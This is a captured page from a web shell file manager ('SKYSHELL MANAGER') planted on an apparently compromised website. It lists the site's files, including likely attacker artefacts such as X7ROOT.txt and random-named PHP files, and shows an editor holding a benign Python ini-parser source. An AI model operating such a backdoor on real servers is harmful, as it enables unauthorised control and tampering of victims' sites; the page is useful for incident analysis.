📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
12.43 KB
0555
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: __init__.py
""" brain-dead simple parser for ini-style files. (C) Ronny Pfannschmidt, Holger Krekel -- MIT licensed """ from __future__ import annotations from typing import ( Callable, Iterator, Mapping, Optional, Tuple, TypeVar, Union, TYPE_CHECKING, NoReturn, NamedTuple, overload, cast, ) import os if TYPE_CHECKING: from typing_extensions import Final __all__ = ["IniConfig", "ParseError", "COMMENTCHARS", "iscommentline"] from .exceptions import ParseError from . import _parse from ._parse import COMMENTCHARS, iscommentline _D = TypeVar("_D") _T = TypeVar("_T") class SectionWrapper: config: Final[IniConfig] name: Final[str] def __init__(self, config: IniConfig, name: str) -> None: self.config = config self.name = name def lineof(self, name: str) -> int | None: return self.config.lineof(self.name, name) @overload def get(self, key: str) -> str | None: ... @overload def get( self, key: str, convert: Callable[[str], _T], ) -> _T | None: ... @overload def get( self, key: str, default: None, convert: Callable[[str], _T], ) -> _T | None: ... @overload def get(self, key: str, default: _D, convert: None = None) -> str | _D: ... @overload def get( self, key: str, default: _D, convert: Callable[[str], _T], ) -> _T | _D: ... # TODO: investigate possible mypy bug wrt matching the passed over data def get( # type: ignore [misc] self, key: str, default: _D | None = None, convert: Callable[[str], _T] | None = None, ) -> _D | _T | str | None: return self.config.get(self.name, key, convert=convert, default=default) def __getitem__(self, key: str) -> str: return self.config.sections[self.name][key] def __iter__(self) -> Iterator[str]: section: Mapping[str, str] = self.config.sections.get(self.name, {}) def lineof(key: str) -> int: return self.config.lineof(self.name, key) # type: ignore[return-value] yield from sorted(section, key=lineof) def items(self) -> Iterator[tuple[str, str]]: for name in self: yield name, self[name] class IniConfig: path: Final[str] sections: Final[Mapping[str, Mapping[str, str]]] def __init__( self, path: str | os.PathLike[str], data: str | None = None, encoding: str = "utf-8", ) -> None: self.path = os.fspath(path) if data is None: with open(self.path, encoding=encoding) as fp: data = fp.read() tokens = _parse.parse_lines(self.path, data.splitlines(True)) self._sources = {} sections_data: dict[str, dict[str, str]] self.sections = sections_data = {} for lineno, section, name, value in tokens: if section is None: raise ParseError(self.path, lineno, "no section header defined") self._sources[section, name] = lineno if name is None: if section in self.sections: raise ParseError( self.path, lineno, f"duplicate section {section!r}" ) sections_data[section] = {} else: if name in self.sections[section]: raise ParseError(self.path, lineno, f"duplicate name {name!r}") assert value is not None sections_data[section][name] = value def lineof(self, section: str, name: str | None = None) -> int | None: lineno = self._sources.get((section, name)) return None if lineno is None else lineno + 1 @overload def get( self, section: str, name: str, ) -> str | None: ... @overload def get( self, section: str, name: str, convert: Callable[[str], _T], ) -> _T | None: ... @overload def get( self, section: str, name: str, default: None, convert: Callable[[str], _T], ) -> _T | None: ... @overload def get( self, section: str, name: str, default: _D, convert: None = None ) -> str | _D: ... @overload def get( self, section: str, name: str, default: _D, convert: Callable[[str], _T], ) -> _T | _D: ... def get( # type: ignore self, section: str, name: str, default: _D | None = None, convert: Callable[[str], _T] | None = None, ) -> _D | _T | str | None: try: value: str = self.sections[section][name] except KeyError: return default else: if convert is not None: return convert(value) else: return value def __getitem__(self, name: str) -> SectionWrapper: if name not in self.sections: raise KeyError(name) return SectionWrapper(self, name) def __iter__(self) -> Iterator[SectionWrapper]: for name in sorted(self.sections, key=self.lineof): # type: ignore yield SectionWrapper(self, name) def __contains__(self, arg: str) -> bool: return arg in self.sections
Save